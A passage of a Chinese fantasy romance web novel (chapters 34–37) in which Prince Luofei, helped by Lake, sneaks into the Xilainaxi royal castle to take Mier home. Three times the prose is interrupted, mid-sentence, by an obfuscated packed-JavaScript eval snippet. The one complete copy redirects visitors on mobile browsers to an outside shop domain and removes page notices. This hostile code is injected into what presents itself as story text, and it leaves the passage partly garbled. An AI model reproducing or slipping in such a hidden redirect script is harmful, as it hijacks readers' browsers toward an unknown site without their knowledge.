到底谁是急躁性子,知道米尔来了,为了一己私欲连夜便能赶来。 不仅急躁而且虚伪。 洛斐定了定神,抬起头,懒懒地看他,礼节性地笑了笑,问:“您这是要回去吗?” “当然。”国王直白地回他,也不拐弯抹角地躲藏目的。 洛斐点点头,“那愿您一路顺利。” 国王见两人牵着的手还未松开,皱了皱眉,不再与他费口舌,转身看着米尔,说:“米尔,快……” 对方话音未落,洛斐忽地将两人相握的手举起来,面容诧异,语气也跟着惊奇,“米尔,咱们的马车还在西塞林的边郊,等先生离开,我们要不要去取来?” 米尔偏过头,唇角微微扬起,面对洛斐拙劣的演技,他忍得费力。 米尔收回笑容,顺势接住他的话,“是要取来。” 国王一直维持的体面笑容僵住了,顿了顿,罕见地朝向洛斐,说:“马车而已,不必担心,我一会让人给你送一辆新的来便是,何必亲自前去寻找。” 一句话将洛斐想了好久的借口打翻,简单轻巧得不像话。 国王目光从洛斐身上移开,重新落回米尔脸上,语气温和如初,“米尔,去和你的朋友好好告别,他好像对你很是不舍。” 洛斐的脸色又冷了几分。 话说得如此亲切且自然,不知道的还以为他是米尔父亲。 洛斐微微抬头,面上带着不加掩饰的傲意。他想,不如索性摆出王子的身份,尽管后续难免麻烦,但对方不至于连这点面子也不给。 洛斐回神后,清了清嗓子,朝国王说:“先生,你……” 洛斐的话未讲完,余光见米尔的手朝他招了招,话语便跟着断了。 他愣了愣,不明白米尔眼下为何做出这般古怪的举动,却没追问,只歪了歪头,朝他看去。 米尔抬起眼,对上洛斐的视线看了片刻,又抬高了些手臂。 洛斐便弯下腰去。 “米尔……” 话音未落地,洛斐觉得腰间一凉。 他垂眸,见米尔反常地环住他腰,犹豫了一瞬,也反手抱住他,问道:“你怎么了?” 米尔微微倾身,两人贴得极近,呼吸压成了一线,话语也放得轻缓。 “殿下,请你先回艾瑟兰,好吗?” 洛斐听闻这话,没松开手,甚至抱得更紧了些,毫不犹豫地问:“你呢?” 一旁的国王站得远,听得并不清晰,只是微微捕捉到些许字眼,拍了拍米尔的肩膀,朝洛斐笑着说:“你无需担忧,待米尔叙旧结束后,我自会派人护他去找你。” 洛斐直直地看向米尔,问:“真的?” “嗯,真的。” “好。”洛斐自顾自地点点头,身旁人皆是一愣,米尔诧异于洛斐答应得干脆,而国王则是惊讶于他如此好说话。 能请到米尔回去指导武器制造,国王自然是高兴的。连带着对洛斐敷衍的告别,都诚恳了几分。 直到米尔和国王在人群的簇拥中上了马车,洛斐始终未露出半分异色,神情淡淡的,比平时更甚。 马车和人群从视线中消失,管家率先回了神,抬脚往城堡里走去,他得赶紧将室内收拾整齐,好向凯勒布公爵交代。 管家走了一半,又挪着脚步退了回来,微微躬身问面前的洛斐:“先生,您赶路辛苦,要不要去歇会?” 洛斐被管家的话扯回思绪,转身抬头,目光落在身后的城堡上,朝管家问道:“你们一共多少人打扫城堡?” “事况紧急,来不及找人来打扫,只有我来给国……那位先生开了门。”管家见洛斐不讲话,只发呆,默默地补充道:“凯勒布公爵向来喜爱洁净,城堡里向来是一尘不染。现在也只需要简单收拾就好,我一个人便能应付。” 洛斐收回视线,开口:“我帮你收拾。” “不用的,先生。”管家连忙拒绝。 “不必在意,应该的。”洛斐转身朝城堡走去,语气随意,“本就该离开了,正好也要收拾行囊。” “先生,是回艾瑟兰王国吗?” 管家见拒绝不得,在洛斐身旁走着,顺便改了思路劝说:“回艾瑟兰王国的路途遥远,您还是早些去收拾物品为好。” 洛斐不回答也不否认,只是拎起地上的精致花瓶,随手放回桌面,抬头问管家:“放在这里?” 管家见对方有意岔开话题,便不再追问,微微低头说:“是的。” 洛缇勉力维持地品尝完饮品,准备回去城堡,帮忙收拾他父亲二话不说弄乱的烂摊子。 她刚迈进城堡,一抬眼便看见正垂首清洁柜台的洛斐,对方认真到她走进了也无所动作。 洛缇问他:“你为何不回艾瑟兰,却在这里收拾起来城堡了?” 洛斐动作未停,回了一句,“我们无故前来打扰,收拾好再离开也是正常。” 洛缇点点头,也拿起一旁的粗布,往柜台上擦了擦,随口问:“你什么时候回艾瑟兰?我请人给你备马车。” “不回艾瑟兰。” 洛缇放下粗布,问他:“你不回艾瑟兰,离开去哪里?” “两人来,便不能一人回。”洛斐头也不抬地答复她,走到一边清洗起来手中粗布,继续说:“去趟汐莱纳希都城。” 洛缇试探询问,“寻找米尔?” “接他回家。” 洛斐语气坚决。倒也在洛缇意料之中,她对洛斐和米尔的评价如出一辙。 一样的犟。 洛缇想起米尔最开始的嘱咐,没忍住劝道:“但是米尔让你回艾瑟兰,并不是去汐莱纳希都城找他。” 洛斐看着在他手下变得洁净如初的柜台,倚着桌沿,说得极为自信,“他要是真的不让我去找他,便不会和我告别,而是果断地和你父亲跑回都城。” 洛缇表情复杂。 什么自圆其说的谬论。 洛斐看她呆愣,总结着说:“我有分寸的,我去找他,他不会气恼,相反,他会很高兴。” 洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……”洛缇怕他再反驳,抬起手,急促地说:“这些是米尔交代我的,他说,你要是不肯回艾瑟兰,至少也要找同伴陪同,不然……他会很担忧。” “好。” “……” 洛缇松口气。 洛斐终于不犟了。 “但是我恐怕无法效劳。”洛缇将最后的柜台擦净,转身朝洛斐,语带抱歉地说:“我的同伴还在南方等我,现在的那里炎热异常,我得赶快前去帮助他们。” “我虽然不能与你同去,但可以替你找些可靠的人,或者是在汐莱纳希王室城堡里的侍从,便于你了解城堡构造,方便抢人。” 洛斐将折刀别回去,微微颔首,“……谢谢你。” 洛缇说到最后,依旧忍不住想劝他回去,米尔这边有她照料,洛斐回艾瑟兰好好地做王子,不好么。 “回艾瑟兰做王子,不好吗?” 洛斐随手拎起米尔的小包袱,目光从洛缇身上掠过,不疾不徐地开口:“我得和他一起。” 35. 解救准备 “谢谢洛缇公主的帮助,至于同伴,你不必为我费心。”洛斐顿了顿,“米尔的话,我会听。同伴,也有了人选。” 洛斐语气笃定,话已至此,洛缇不好继续劝阻,毕竟她的朋友也还在南方炎热中等着她的到来。 “后会有期。”洛缇看了一眼彻底清扫洁净的地板,丢下一句告别,便转身向管家告辞去了。 洛缇走后,洛斐又将他和米尔的卧房收拾整洁,仔细检查了一遍,才去向待客厅。 管家刚刚忙完待客厅的清扫工作,见来的是洛斐,整理好衣袍,微微欠身,语带喜悦,“先生,有什么需要帮忙的吗?” 洛斐面带笑意地问,“我想问,你是否能借我一辆马车?” 马车丢在边郊,并不全是他和米尔编造的谎言。 莱克给他们准备的两辆马车,一辆放在了凯勒布边郊的马厩,一辆开了来,马还没了力气。 管家愣了愣,而后郑重地回话:“当然,为您效劳是我的荣幸。” “谢谢。” 洛斐本想和洛缇好好告别,无论是帮米尔传递信息,还是借机带米尔来汐莱纳希,对方都是竭尽全力,洛斐认真表达道谢也是理所应当的。 但洛缇没给他机会。得知洛斐能照料好自己,她便连夜离开了汐莱纳希,直奔南方炎热小城去了。 道谢不成,洛斐就不长久停留了,向管家稍微交代几句,顺便给凯勒布和埃迪留了信就离开了。 他没有直奔汐莱纳希的都城,而是直接去了趟索恩家族的庄园。 与上次不同,这一次他无需再装扮成侍从,而是以莱克朋友的身份,直接进入庄园,见了那位索恩家族的家主。 洛斐原以为莱克好友的身份,能换来的不过是他进出庄园的自由,还得时刻提防被人认出来。 结果,不仅无人认出换下侍从服的他,连那位久不见人的家主,他也见到了。 一眼便看得出年迈的男人坐在高椅上,热情地招待他,让人端上最好的饮品和小食。末了,推了推身旁呆愣的莱克,问:“莱克,这位是你的朋友?” 莱克睡意难消,浑身散发着被迫喊来的不耐,见叔叔口中的贵客是眼前的洛斐,脱口而出道:“你们怎么又来了?” 家主顺势朝他后脑勺打了一巴掌,冷言责备:“莱克,不得无礼。怎么能这样和朋友讲话?” 家主说完,视线移向身旁的洛斐,仔细端详了片刻,语气带着抱歉,又有压不住的喜悦,“你是汐莱纳希哪家的少爷?或是哪位公爵的公子?” 洛斐举着茶杯的手一顿,明白对方的客气来自误会了他的身份。 他抬手轻放茶杯,看向主座上的家主,浅浅微笑着说:“不敢当,先生。我从很远的地方来,大约是汐莱纳希的东边。父母让我外出游历,我便想着来拜访您和莱克。” 家主听洛斐说完,嘴角的弧度几乎压不住。在他看来,“汐莱纳希东边”这个说法,怎么都像是某个神秘贵族的公子。 家主笑着拍了拍莱克的后背,说:“莱克,你多和先生好好交谈,不要只待在你那隐蔽的房间里,不要老是爬狗洞。” 莱克见叔叔开始教导了,转身看向洛斐,语气尽力温和,“洛斐先生,我们去谈谈你来找我的问题,好吗?” 洛斐微微颔首,礼貌地朝家主告辞,对方又是一阵没由来的赞赏。 莱克带他去了庄园的靶场,开门见山地问:“你来找我做什么?你们不是回艾瑟兰王国了吗?” 洛斐也不隐瞒,简单明了地说:“邀请你去汐莱纳希的都城。” 莱克面上不解,看向洛斐的身后,发现没有米尔的身影,随口问他:“米尔呢?” “先去汐莱纳了。” 莱克自动归结为两人离开前先要去汐莱纳希都城玩,邀请他做指导,点点头算是明白,问:“去汐莱纳希都城游玩?” “不是。”洛斐想了想,开口道:“是去汐莱纳希做些……无法言说的事情。” 莱克神情大变,语气犹豫,“无法言说的事情?米尔知道吗?” “米尔?知道吗?”洛斐不解地反问。 “你们不是伴侣吗?”莱克神色复杂地看着洛斐,说:“做无法言说的事情,你不让对方知晓?” 洛斐说不通,便无奈开口解释:“国王邀请米尔去王宫指导汐莱纳希的武器制造,不知何时才能回来,我便想着去接他。” “至于为何无法言说,我没有邀请函,也没有拜访贴,只能硬闯王宫。”洛斐语气不咸不淡,和随口交代侍从们泡茶并无不同。 “原来如此,不是其他,是……”莱克松的气又呼了上来,怔了一瞬,惊讶开口:“硬闯城堡?” 莱克猛地起身,难以置信地说:“殿下,您疯了吗?怎么能去硬闯城堡,那是和汐莱纳希王室光明正大地抢人,和打他们的脸有什么区别。” 洛斐皱了皱眉,倚着栏杆,问他:“很难吗?” 莱克看了他一眼,问:“你觉得最难的事情是什么?” 洛斐被突如其来的问题问得一愣,想了一会才开口道:“和子民们交流植物生长情况。” 莱克叹口气开口:“去汐莱纳希城堡抢人,比你跟一千个子民讲一遍植物怎么长还难。” 洛斐挑了挑眉,感慨道:“那是挺难。” 他说完,想了一会,而后朝苦思冥想的莱克说道:“既然如此困难,那你不要陪我去了。” 莱克见他真的要抬脚离开,连忙喊住他,说:“你先回来,米尔怎么说也是我的……哥哥,我们不是不去,是想办法去。” 莱克说着便抬手喊来身边的侍从,压低声线,和那人说了几句。 一小会,又来了位穿着像是管家的人,但举止却带着些小心翼翼,是洛斐没见过的陌生面孔。 洛斐站在一旁。 米尔朝来人交代几句,那人便将一封信递给他,转而利落地告辞,一句废话未讲。 莱克见洛斐面露不解,随口解释,“情报员。” 洛斐略微诧异,“你们有情报员?” “商业家族是如此的,权利无法和贵族比拟,其他方面绝不能落后于人。”莱克将信封递给洛斐,接着说道:“这些并不重要,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果汐莱纳希国王不是滥情虚伪的人,当时便邀请米尔来汐莱纳希居住,米尔也许就不会来艾瑟兰了。 汐莱纳希有旧友,有伙伴,有和母亲的回忆。 而艾瑟兰只有一位能力不强,善妒的王子。 洛斐微微皱眉,拉车帘的力气都不自觉地重了些。 另一边闭眼歇息的莱克刚睁开眼,便见到洛斐冷着脸,不知道在想些什么,也不清楚对方的怒气从何而来。 莱克无暇顾及洛斐的坏脾气,眼看路程即将结束,低头从背包拿起他准备的面具,而后递给洛斐。 “你的面具。” 洛斐顺势望去,愣了一下,嘴角礼貌地扯了扯,问:“给我的。” 莱克认真地点点头。 洛斐再次垂眸看了一眼。 一顶粉色面具,色泽柔和,做工精细,细细金线衬得条纹精致,是常常受女士们青睐的款式。 “我戴它?” 36. 带你离开 得到肯定答复后,洛斐接过面具,抬眼看莱克,欲言又止。 莱克知道洛斐对面具不满,转身掀开车帘,微微侧着身子,朝他解释:“夏塞林不流行面具,根本买不到。你看,汐莱纳希都城的街道旁全是这种款式,殿下便只好戴这种了。” 莱克说完,忽地一顿,垂首去翻背包,头也不抬地朝洛斐说:“如果殿下实在不喜欢,还有……” “这种款式的。” 洛斐闻声望去,一顶黑炭似的面具便映入眼帘,通体漆黑,纹样和底色几乎融为一色,戴上它,不像是去赴宴,倒真像是做了强盗。 “谢谢。”洛斐照例道谢,果断地选择了粉嫩面具,宁愿成为焦点也不想吓到米尔。 汐莱纳希都城的繁华街道不允许通行马车,还没到城堡附近,洛斐便提议,先下马车,以免惊扰人群。 “我们要做什么?”洛斐侧了侧身,等人流往前涌去后,抬眼问莱克。 “先进去城堡,再谈论其他。”莱克回道。 “我们早就有了邀请函,怎么会进不去?”洛斐拿起邀请函,晃了晃,问莱克,“难不成是假的?” “当然不是假的,叔叔恨不得亲自去买来。”莱克转着邀请函看了看,面带忧色,“只是……就算邀请函在手,汐莱纳希城堡的侍从照样会盘问。” “盘问?”洛斐不解地挑挑眉。 他见一旁的莱克脸上挂着化不开的忧愁,知道对方是房内待久了,出来难免不适应。 莱克手指无意识地纠缠,轻声说道:“如果被发现身份不对,会很难堪。” “你来的时候,不担忧?” 洛斐佯装调侃莱克,顺势拿过他的邀请函,一同往城堡入口走去。 入口的侍从见来了人,躬身接过邀请函,目光在上头停了一瞬,抬眼望向洛斐。 “怎么了?”洛斐微微垂眸,漫不经心地问。 “并无不妥,请进。”侍从立刻开口。 直到踏入城堡门厅,莱克才慢慢缓过神来,诧异地问走在前面的洛斐:“他们连邀请函都不细看?” “你付出了时间和金钱,那么决定权就在你手中。”洛斐随口道:“你说你有邀请函,那么他们便没有资格质疑你。” “况且,没有哪个国家的侍从会为此事拦人,平白添了麻烦。”洛斐耐心地解释。 “有道理。” 谈话间,大厅舞池的乐声隐约传来。 莱克应声抬起头,说:“殿下,汐莱纳希的王室行事极其奢华,哪怕是平日小型舞会也会邀请很多贵族前来。” 洛斐一边听着莱克说话,一边往前走。踏进大厅的瞬间,热浪和吵闹一起直直地袭来。 随之而来的还有称得上壮观的大厅装扮,枝形烛台跳动着忽明忽暗的烛光,廊柱间微微垂着的暗金帷幕,无一不彰显洛缇和莱克常说的那句话。 汐莱纳希王室享尽奢华。 莱克见洛斐怔愣,便随手拿了两杯摆放在桌子上的淡酒,宽慰道:“人很多,找米尔并不急于一时。况且,你们分开甚至不到两日,何必着急。” “我找到了。”洛斐忽地开口。 莱克手中的酒杯一晃,目光绕着舞池看了一遍。哪有米尔的身影,分明还是宾客如织,人潮涌动。 “殿下,你也许看……” 莱克话讲了一半,转身时,洛斐已经走进了人群深处,连衣袍边角都看不见。 洛斐也无法保证米尔在哪里,只知道隐约瞥见到了米尔的背影。哪怕只是像,也值得他上去看看。 洛斐尽力回避身后的噪音,顺着道路往前走,却越走越觉得不对劲。 汐莱纳希的城堡的面积很大,但看久了便感到乏味,墙壁上相同的金色纹路,每隔几步便重复的壁灯,连花园里花朵的种类都出奇地相似。 不如那栋被维伦翻新后的赛维恩庄园,甚至也不如佯装贵族的索恩家族庄园来得好。 卧房的排列也奇怪,洛斐费尽心力地找到了城堡所有的客房,从最后面也是最隐蔽的那间开始寻找,结果全不是米尔住的那间。 洛斐百思不得其解。 以米尔的性子,宁愿暗无天日,他也绝不会选择明媚向阳的房间才对。 行色匆匆地跑来,结果,什么都没有。洛斐不得已慢了下来,看了眼周遭。 这里的花园倒是人少很清静,远胜于那边嘈杂聒噪的舞池。 洛斐想了一会,走向一旁的树下,找了块空地。 反正主动寻找无结果,而且,米尔能活动的区域也仅限于此地,那他便站在原地守株待米尔。 洛斐才刚闭眼歇了片刻,耳边又传来了一阵不太悦耳的议论。 准确的说,是旁若无人地轮番嘲讽,一唱一和地贬损。 洛斐先是挪了挪位置,极力忽略他们故意抬高的声音。 果然,只要花钱,谁都能来。 洛斐轻手轻脚地挪动好,那阵刚消停没一会的议论又开始了。 “米尔·维恩菲尔德,那位黑头发的异国王子,真以为自己是来指导武器制造的,不过是流浪王子罢了。” “先前,我们摆放露西恩时,他便常常冷着脸,父王却总是逼着我们喊他哥哥。现在一看,做武器的遗孀留下的孩子,亡国多少年了,依旧端着王子的架子。” 洛斐听见米尔名字下意识地睁开眼,看向花园角落里说话的两人。 他略微有些惊讶。 一是惊讶有人如此光明正大地辱骂来拜访的贵客,二是惊讶对方竟然还是汐莱纳希王国的王子。 看来米尔确实不能在汐莱纳希久待,两日不到就被骂了,对方还是王子的身份。 “父王抬举他也只是看在他母亲的面子上,他家都被他搞亡国了,还来指导我们。” 两人明明听见了洛斐刻意做出的阵阵响动,却依旧我行我素,甚至辱骂得变本加厉。 洛斐原本想遵守米尔的嘱咐,异国他乡遇到事情暂不要插手,务必思前想后方能行动。 但两人越说越起劲,愈发狂妄,米尔的谣言全部都捏造了一遍,声音也抬高了。 “你们——” 洛斐拨开挡路的草丛,准备借着面具将两人教训一通,说不定,闹出的动静引来了人群,还能因此找到米尔。 但他话未讲完,身体还没穿过草丛,手臂忽然从身后被人稳稳地握住了。洛斐下意识摸向腰间的折刀,便听见身后传来熟悉的话语,“殿下,来得好快。” 熟稔的声线,熟稔的力度。 洛斐猛地转身,看向歪着头倚着树干的米尔,对方正握住他的手腕,唇角挂着浅浅的笑。 洛斐顾不得教训旁人,而是快步上前,扶住米尔的肩膀,将他上下打量一遍,“米尔,你没受伤?” “谁能伤我。”米尔顺着洛斐的力道起身,语气决绝地回答。 洛斐侧身看了眼那两人消失的方向,收回目光,语气带点委屈地朝米尔说道:“他们方才是在骂你,我要帮你教训他们,你倒好,还拦着我。” 米尔没有搭他的话,只是抬手摘下他的面具,端详了片刻,“殿下的审美向来很独特呢。” “……这是莱克为我准备的。”洛斐明白这是米尔常用来转移话题的手段,拿起对方手中的面具,直视着他的眼睛,“你在汐莱纳希受欺负了吗?” “国王的确需要我指导武器制造,既然是正式邀请,自然不会受到为难和欺负。” 米尔扬起下巴朝另一边指了指,语气平平道:“我还以为你会回艾瑟兰,或者是来得晚一些,毕竟,从夏塞林到此地,路程不近。” 洛斐神色松了松,跟着米尔朝他指向的方向走,说:“我怎么可能会丢下你回艾瑟兰。” “况且就算真的回去了——”洛斐想起莱因哈特催促的十几张报告文书,便觉得浑身不自在,语气也跟着闷闷的,“父王和母后要是知道我将米尔导师丢在了汐莱纳希,可不是几张报告就能解决的事情。” 米尔转头看他,笑了笑,目光越过他的肩头,“莱克呢?不是和你一起来的吗?” “他正在舞池的待客区休息。”洛斐见米尔走得快些,便快步跟上他,随口道:“这次来汐莱纳希如此顺利,多亏了他的帮助。” 他们的话语很轻,以至于其他噪音在其中显得十分鲜明。 尽管不是骂米尔,但语气依旧不善。 “汐莱纳希的王子如此直言不讳,也无人管教?”洛斐扯了扯米尔的袖口,问。 哪怕是莱因哈特和薇洛希儿时对他管教不严时,这种无礼且伤人的话,他也绝不能开口。 身为王国王子,口出恶言本就不合理,更何况是对毫无过错的米尔。 “你是受邀来指导武器制作的,还是来受窝囊气的。”洛斐越想越气恼。 “他们说得也并非全错,我先前是待人冷了点。” 米尔不咸不淡地解释:“汐莱纳希王室子嗣众多,争吵辱骂也是来源于对王位和权利担忧。我们将他们全部教训一遍,也改变不了什么。” “而且它们对我也造不成伤害,何必浪费时间,费尽心思去处理。”米尔说完,看向一旁盯着他的洛斐,“殿下是国王和王后的独子,恐怕无法理解眼下的境况。” 无法理解? 洛斐一时语塞,尽管没有恶语相向,但他先前对待米尔也不算友好。 哪怕对方将那些使绊子当做另类的陪伴,洛斐也常常因此愧疚和悔恨。 因伤害米尔而愧疚,因没能给予米尔帮助而悔恨。 洛斐讪讪地开口:“你向来看得开。” 米尔看了他一眼,忽地开口:“只是认不出来他们分别是几王子罢了。” “……” 一直到米尔所住的房间,洛斐始终站在他身侧,时不时地和米尔搭话,说的是这两日发生的一切。 “殿下,先歇歇再讲。” 米尔轻轻地推开门,喊着洛斐进了房间。 洛斐抬眼打量着这间房,房间宽敞,布局也精致,最重要的是不在隐蔽的地方,而是向着阳光,明媚异常。 很舒适,但绝对不符合米尔的喜好。 “你怎么会选择这种地方?”洛斐见米尔坐在一旁喝茶,开口问他。 “国王安排的,他说这间是贵客专属的。”米尔抿口茶,淡淡地说。 “大概是你专属。”洛斐坐在他身侧,直白地说。 除了米尔不喜欢,这间房间的任何一处都是汐莱纳希的顶级。大概也是想用房间彰显对米尔的重视。 米尔将茶推到洛斐眼前,语气平和,“真正喜爱的才是合适的,才能算得上专属的。” “你说得对。”洛斐托腮看着米尔喝茶。 对方穿的衣袍是汐莱纳希专业工坊做的,领口收窄,袖口压着细边,衬得人分外清朗。 “怎么了?”米尔抬眼问他。 “没什么。”洛斐收回视线,像是想到了什么,目光又重新落回米尔的手中,那茶刚刚又倒满了。 “我们不回去吗?”洛斐问面前悠然喝茶的米尔。 “回去。”米尔淡淡地答应,手中的茶却依旧没放下来。 洛斐不起身,不着急,只喝茶,便默默地起来收拾他在这房里的衣物,说:“还不快些收拾,一会出去的时候忘了物品,该怎么办?” 米尔终于放下了茶杯,问动作利落的洛斐,“殿下知道我们该如何离开?” “不知道。”洛斐自然地答道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696290|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “你毫无计划便来汐莱纳希城堡里带我离开?”米尔无奈地问。 洛斐将米尔的一点物品装好,放在他面前,笑着说:“只要人愿意离开,那么万物都不是阻碍。” “很有道理。”米尔顿了顿,反问:“你准备带我直接逃开?” “当然不是。”洛斐干脆地否认。 米尔松口气,略微欣慰,还知道此招行不通,还不算莽撞,淡淡地开口:“你还知道……” 洛斐继而补充,“还得带着莱克那家伙。” “……” 米尔不失礼貌地笑了笑。 他思考了一会,朝洛斐开口道:“殿下,如果要从艾瑟兰城堡里光明正大地抢人,你觉得可行吗?” 洛斐愣了愣,别开脸,断然地回答:“绝无可能。” “那不就是了。” 洛斐先前也做了不少计划,但都被他亲自推翻了。 他不得不承认,那些巡访的经历,在真正的困境面前并不够用,不足以解救米尔,帮助他人,甚至是管理国家。 洛斐微微垂眸,看了米尔一眼。 他索性坐在米尔面前,脑袋垂着,闷闷地开口:“抱歉,我没有做好计划。让你和莱克陪我冒险是我的疏忽,但我真的很想带你回家。” 大概是当了段时间的导师,米尔只是下意识在洛斐做得不够好的地方提点一下,并没有半分指责他的想法。 他见洛斐那副神色,敛着眸,皱着眉,语气也闷闷的,连忙开口:“我并没有指责你的意思,你能来找我,我很……高兴。” 洛斐微微抬眸,问:“真的?” “当然。”米尔俯下身,凑到洛斐眼前,笑着说:“殿下和我一起,不用计划也无需筹谋。” 洛斐嘴角扯了扯:“你要是真要留在这里,那我便也在这里陪你,然后让莱克回家。” “殿下要以什么身份呢?”米尔随口问。 “做你的侍从,反正也习惯了。”洛斐头也不回地答道。 来汐莱纳希的日子,做侍从的经历占了一大半。 米尔低头轻笑了一会,认真地回答:“那便劳烦殿下了。” 洛斐诧异地抬起头,望向米尔:“你真要留下来?” “他们整日骂你,国王也对你目的不纯,不怀好意,为何不和我回家做王……” 米尔见洛斐情绪激动,赶忙伸手安抚他,拍了拍他的手臂,说:“不要激动,玩笑罢了。” “我说过不会让殿下继续和我吃苦了。”米尔语气软下来,朝洛斐道:“相信我,很快就能回家了。” 洛斐安静地坐回去,轻声回答:“不苦。” 他并不觉得很苦,甚至有些喜爱这段不用附和贵族,无需扮演好王子,只和米尔一同游历的日子。 他就算是喜爱,此时也不会开口,以免米尔真的要留下来。 洛斐压下念头,看向米尔问:“你要……” 话没说完,一阵嘈杂的争吵又传来了。 这次不再是争论,而是不加掩饰的争执。 洛斐开始猜测,他们是不是来错了地方,闹市也不如此吵闹。 洛斐原本想着,就算是翻了他们的房间也不绝会出去管,奈何对方真的异常嘈杂,明明隔着不近的距离,争执却宛如潮水汹涌般袭来。 洛斐试探地问:“去看看?” “不看的话,恐怕等不到安然离开,我们便被噪音吵得心烦意乱。”米尔显然对争执习以为常,不用刻意寻找,便带着洛斐去了声源处。 不在舞池中央,也没有人群围观,只有整齐地站在一旁的侍从们,全部低垂着头,个个战战兢兢。 “他们是汐莱纳希的贵族?”洛斐偏头问一旁的米尔。 “是汐莱纳希的王子。” 洛斐愣了愣,诧异地问:“汐莱纳希的王子?一共有几个王子?” 米尔想了片刻,迟疑地回答:“全部的话,也许是七个?……或者是八个?” 洛斐不可置信地转身。 他知道汐莱纳希王室的子嗣众多,明面上的便有四个不止,结果听米尔这么一说,他还是低估了汐莱纳希国王的滥情程度。 洛斐消化着得到的信息,一旁米尔理清了争执的始末,“殿下知道他们争执的缘由吗?” “权利还是王位?”洛斐压着声音,反问。 “谁能得到狩猎的机会。”米尔淡淡地开口。 “……狩猎的机会?” 这次不用米尔的回答,洛斐也想明白了。 一点问题便能激化他们的计较和怨怼,原本三岁孩童才会争执的事情到这里也会变得理所应当。 “你说得没错,但不能全部概括。”洛斐想了想,开口:“洛缇也是汐莱纳希王室的公主,甚至是唯一公认的公主。” “她并不会平白无故地怨恨他人,也不会辱骂你,或是无关的任何人。” “洛缇从不拘于城堡。” “也是。” 洛斐停顿了一会,见眼前的争执没有消减的迹象,侧身问:“不是你……” “不是。”米尔干脆地否认,“我不会做如此明显的行动。” “……” 忘记了,米尔从不正大光明地来。 艾瑟兰的城堡平时温和得像是春风,虽说眼前的争执对他而言,略微聒噪,但洛斐的确觉得新奇。 如果不是衣摆被人猛地扯住,他还能和米尔并肩站着看一会。 起初,洛斐以为是米尔扯的他,转头看向米尔,结果对方也是一副怔愣的神情。 米尔率先垂眸看向扯着他们衣摆的人,喊了句:“莱克?” 蹲着的莱克抬眼,语气不耐,“来抢人的,还是来约会的?” 37. 私心 “你怎么也在?”洛斐问。 “我才要问你们呢,不想办法离开反而看起热闹,约起会了。”莱克不给他们反驳的机会,指了指右侧。 洛斐犹豫地看向米尔。 洛斐相信莱克,但莱克也是第一次来汐莱纳希的城堡,指的路可信度不会很高。 米尔倒是走得干净利落,丝毫不拖泥带水,朝着身旁的洛斐微微颔首,“走吧,殿下,你先。” 他们刚走,身后便传来了重物破碎的声响,其中夹杂着国王压抑且气恼的训斥。 洛斐微微皱眉,扯了扯米尔的袖口,问:“真不是你的手笔?” “我是那种需要惹动混乱而逃离的人吗?”米尔反问。 “你的确不是。” “殿下不要猜测了,如果真是我做的,我不会瞒着你。” “……你哪次没有瞒着我。” 前方带路的莱克听见他们的对话,停了一瞬,语气讪讪地转身催促,“如果你们不想变成舞会焦点的话,便快些。” 莱克带着他们,一路顺利到两人皆是一惊。哪怕是前方无路的时候都能生生地开辟出一条偏僻小道。 满是骑士和侍从环绕的城堡,只有他们走的地方空空如也。 莱克翻过最后的高墙,拍了拍马车的车厢,等待洛斐和米尔的同时,不禁感慨,“真顺利,比我想得要顺利,汐莱纳希的王室城堡也不过如此。” 洛斐想也没想地开口:“因为是米尔早就规划好的路线。” 莱克方才傲然的神情顿时没了,看向刚站稳的米尔,语气也跟着弱了下去,“真的?” “当然不是。”米尔任由洛斐拍打衣袍,笑着说:“全是莱克的功劳。” “没有你的计谋,挑拨离间的话,我们很难顺利离开。” “不是挑拨离间。”莱克扬起下颌,语气立马恢复了平时的少年气,“全是我机智。” “当然也有他们的蠢笨。” 莱克也很意外。他只是对来搭讪的人随口提了句狩猎,怎么就惹了混乱。 但至少给了他们可乘之机。 莱克说完,想到了米尔是被迫而来的,焦急地问他:“你和他们讲解武器,指导他们了?” 米尔没开口,倒是一旁的洛斐抢先说:“艾琳娜夫人并不想让米尔接触太多武器,因此在武器方面,米尔只是略知一二。” 米尔颔首,补充着,“这两日我称病未出,后来你们便来了,连汐莱纳希的武器也未见。” “那就好。”莱克松口气,脱口而出,“不然汐莱纳希恐怕要走露西恩王国的老路了。” 米尔上马车的动作顿住。 莱克说完便意识到不妥当,抬起头想要补救,洛斐却先他开了口,“米尔,你收集残刃卷线索了?” 莱克不解地反问:“残刃卷?” 被迫前来的,怎么又和残刃卷扯上了关系。 米尔看向洛斐的眼神里带着些赞许,“殿下越来越聪明了。” “国王在夏塞林和我交谈时,不止一次提到了母亲的画作,我原以为国王对残刃卷了解一些。”米尔顿了顿,无奈开口:“结果,他收藏的画作一半是假,一半无用。” 莱克接话,“你们还是对汐莱纳希王室的了解不多,他们向来只看近在眼前的利益,其他耗费精力和时间的断不会参加。” “说得对,你重病时,他躲避你,你完好无损地来了汐莱纳希,他却装扮亲切的长辈,这就是明证。”洛斐说完,余光见米尔无动于衷,又补了一句,“汐莱纳希待不得。” “殿下放心,我不会待在汐莱纳希。”米尔拍了拍洛斐的肩膀,说道:“至于残刃卷,……先回艾瑟兰再从长计议。” 